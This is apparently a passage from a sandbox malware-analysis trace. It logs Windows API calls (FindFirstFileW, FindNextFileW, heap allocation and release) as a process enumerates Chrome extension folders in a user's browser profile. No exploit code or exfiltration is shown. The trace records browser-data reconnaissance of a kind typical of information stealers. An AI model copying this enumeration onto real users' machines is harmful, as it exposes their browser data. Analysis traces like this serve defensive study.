ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0277.848] GetProcessHeap () returned 0x550000 [0277.848] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.848] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.849] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.849] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.849] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.850] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.850] GetProcessHeap () returned 0x550000 [0277.850] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.850] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_HK", cAlternateFileName="")) returned 1 [0277.850] GetProcessHeap () returned 0x550000 [0277.850] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.850] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.850] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.850] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.850] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.850] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.850] GetProcessHeap () returned 0x550000 [0277.850] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.850] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0277.850] GetProcessHeap () returned 0x550000 [0277.850] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.851] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.851] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.851] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.852] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.852] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.852] GetProcessHeap () returned 0x550000 [0277.852] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.852] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zu", cAlternateFileName="")) returned 1 [0277.852] GetProcessHeap () returned 0x550000 [0277.852] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.852] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.852] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.852] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.852] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.852] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.852] GetProcessHeap () returned 0x550000 [0277.852] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.852] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zu", cAlternateFileName="")) returned 0 [0277.852] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0277.852] GetProcessHeap () returned 0x550000 [0277.852] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0277.853] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8636e710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8636e710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1 [0277.853] GetProcessHeap () returned 0x550000 [0277.853] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.853] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8636e710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8636e710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0277.917] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8636e710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8636e710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.917] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8636e710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8636e710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8636e710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xaf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="computed_hashes.json", cAlternateFileName="COMPUT~1.JSO")) returned 1 [0277.917] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86012940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x4454, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 1 [0277.917] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86012940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x4454, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 0 [0277.917] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0277.918] GetProcessHeap () returned 0x550000 [0277.918] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.918] FindClose (in: hFindFile=0x6399c8 | out: hFindFile=0x6399c8) returned 1 [0277.918] GetProcessHeap () returned 0x550000 [0277.918] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0277.918] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0277.918] GetProcessHeap () returned 0x550000 [0277.918] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0277.920] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0277.921] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\*", lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ab7660, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82abeb90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82abeb90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0277.959] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\*", lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82651e90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e7880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828e7880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6399c8 [0278.224] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82896f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82899680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82899680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0278.328] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0278.328] GetProcessHeap () returned 0x550000 [0278.328] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.328] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8289e4a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828a0bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828a0bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0278.328] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0278.329] GetProcessHeap () returned 0x550000 [0278.329] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.329] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828a32c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82aab310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aab310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0278.333] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0278.334] GetProcessHeap () returned 0x550000 [0278.334] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.334] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82665710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828836f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828836f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0278.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8266a530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8266f350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8266f350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0278.336] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0278.336] GetProcessHeap () returned 0x550000 [0278.336] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0278.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82676880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8267ddb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8267ddb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0278.337] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0278.337] GetProcessHeap () returned 0x550000 [0278.337] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0278.337] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826a0090, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826a27a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826a27a0, 